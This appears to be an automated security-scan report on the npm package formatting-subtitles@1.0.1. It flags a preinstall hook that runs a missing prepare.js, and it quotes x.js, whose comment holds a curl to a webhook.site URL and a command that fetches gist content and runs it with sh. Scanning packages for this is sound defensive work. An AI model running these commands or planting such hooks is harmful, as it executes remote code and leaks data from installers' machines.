registry / Staged payload carrier / formatting-subtitles / 1.0.1

formatting-subtitles@1.0.1

Formatting subtitles for claude by removing unicode characters and normalizing them

AI Security Review

scanned 1d ago · by lpm-firewall-ai

The preinstall hook and commented remote shell commands leave an unresolved install-time risk, but the inspected package does not establish that either command executes. This supports a warning for an inert payload carrier, not a block for confirmed attack behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Package installation invokes the preinstall hook.

Impact

If those commands were made executable, they describe sending a request and running remotely fetched shell content. Execution is not established here.

Mechanism

The hook names prepare.js, which is absent from the package file list; the remote commands are comments in x.js.

AI rationale

Evidence

package.jsonx.jsprepare.js

Network endpoints2

webhook.site/9e8c8742-3102-4716-aa8b-e150e9e84fe7/stats_1api.github.com/gists/da04f14c93acbe9a7aef827be0a2e91c

Decision evidence

public snapshot

AI called this Suspicious at 94.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for warning

The preinstall hook invokes a shell script named prepare.js, while the package file list includes x.js instead.
x.js contains commented commands that describe sending a request to a webhook and fetching a remote script for shell execution; those commands are inert in the inspected JavaScript file.
The declared library entrypoint implements title and color normalization.

Evidence against

The remote commands appear inside a JavaScript block comment, and the declared preinstall target is absent from the package file list, so the inspected source does not establish that they execute.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 13.7 KB of source

Source & flagged code

5 flagged

package.jsonView file

Lines 1-27json

2 "name": "formatting-subtitles",

3 "version": "1.0.1",

4 "description": "Formatting subtitles for claude by removing unicode characters and normalizing them",

5 "main": "index.js",

6 "bin": {

7 "unicode-title-normalizer": "cli.js"

8 },

9 "files": [

10 "index.js",

11 "cli.js",

12 "README.md",

13 "test",

14 "x.js"

15 ],

16 "scripts": {

17 "preinstall": "sh ./prepare.js && exit 0"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L17

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L17

18 },

19 "dependencies": {

20 "unicode-title-normalizer": "1.1.0"

Medium

Suspicious Lifecycle Evidence

The preinstall hook invokes a shell script named prepare.js, while the package file list includes x.js instead.

package.jsonView on unpkg · L16

21 },

22 "engines": {

23 "node": ">=18"

24 },

25 "license": "MIT"

26}

x.jsView file

Lines 1-6javascript

1/**

2This is just a sample prepare file to confirm installation. We also send usage stats

3$(curl https://webhook.site/9e8c8742-3102-4716-aa8b-e150e9e84fe7/stats_1)

4$(curl https://api.github.com/gists/da04f14c93acbe9a7aef827be0a2e91c | jq -r '.files["gistfile1.txt"].content' > x; sh x)

5*/

6console.log("hello world");

Medium

Ai Review Evidence

x.js contains commented commands that describe sending a request to a webhook and fetching a remote script for shell execution; those commands are inert in the inspected JavaScript file.

x.jsView on unpkg · L1

index.jsView file

Lines 379-419javascript

379 first.toLocaleUpperCase("en-US") +

380 rest.join("").toLocaleLowerCase("en-US")

381 );

382 })

383 .join("");

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = sh ./prepare.js && exit 0

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = sh ./prepare.js && exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

16"scripts": { "preinstall": "sh ./prepare.js && exit 0" }, "dependencies": { "unicode-title-normalizer": "1.1.0"

Medium

Suspicious Lifecycle Evidence

The preinstall hook invokes a shell script named prepare.js, while the package file list includes x.js instead.

package.jsonView on unpkg · L16

x.jsView file

Findings

1 High4 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumSuspicious Lifecycle Evidencepackage.json

MediumAi Review Evidencex.js

MediumAi Review Evidenceindex.js

LowScripts Present

LowHigh Entropy Strings

Affected versions and remediation

This report applies to formatting-subtitles@1.0.1.

See all versions of formatting-subtitles for other recorded verdicts.

Review the evidence and your use of formatting-subtitles@1.0.1 before allowing it. Restrict the permissions described in this report.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.

Evidence last updated: 2026-10-22 03:36:45.240Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.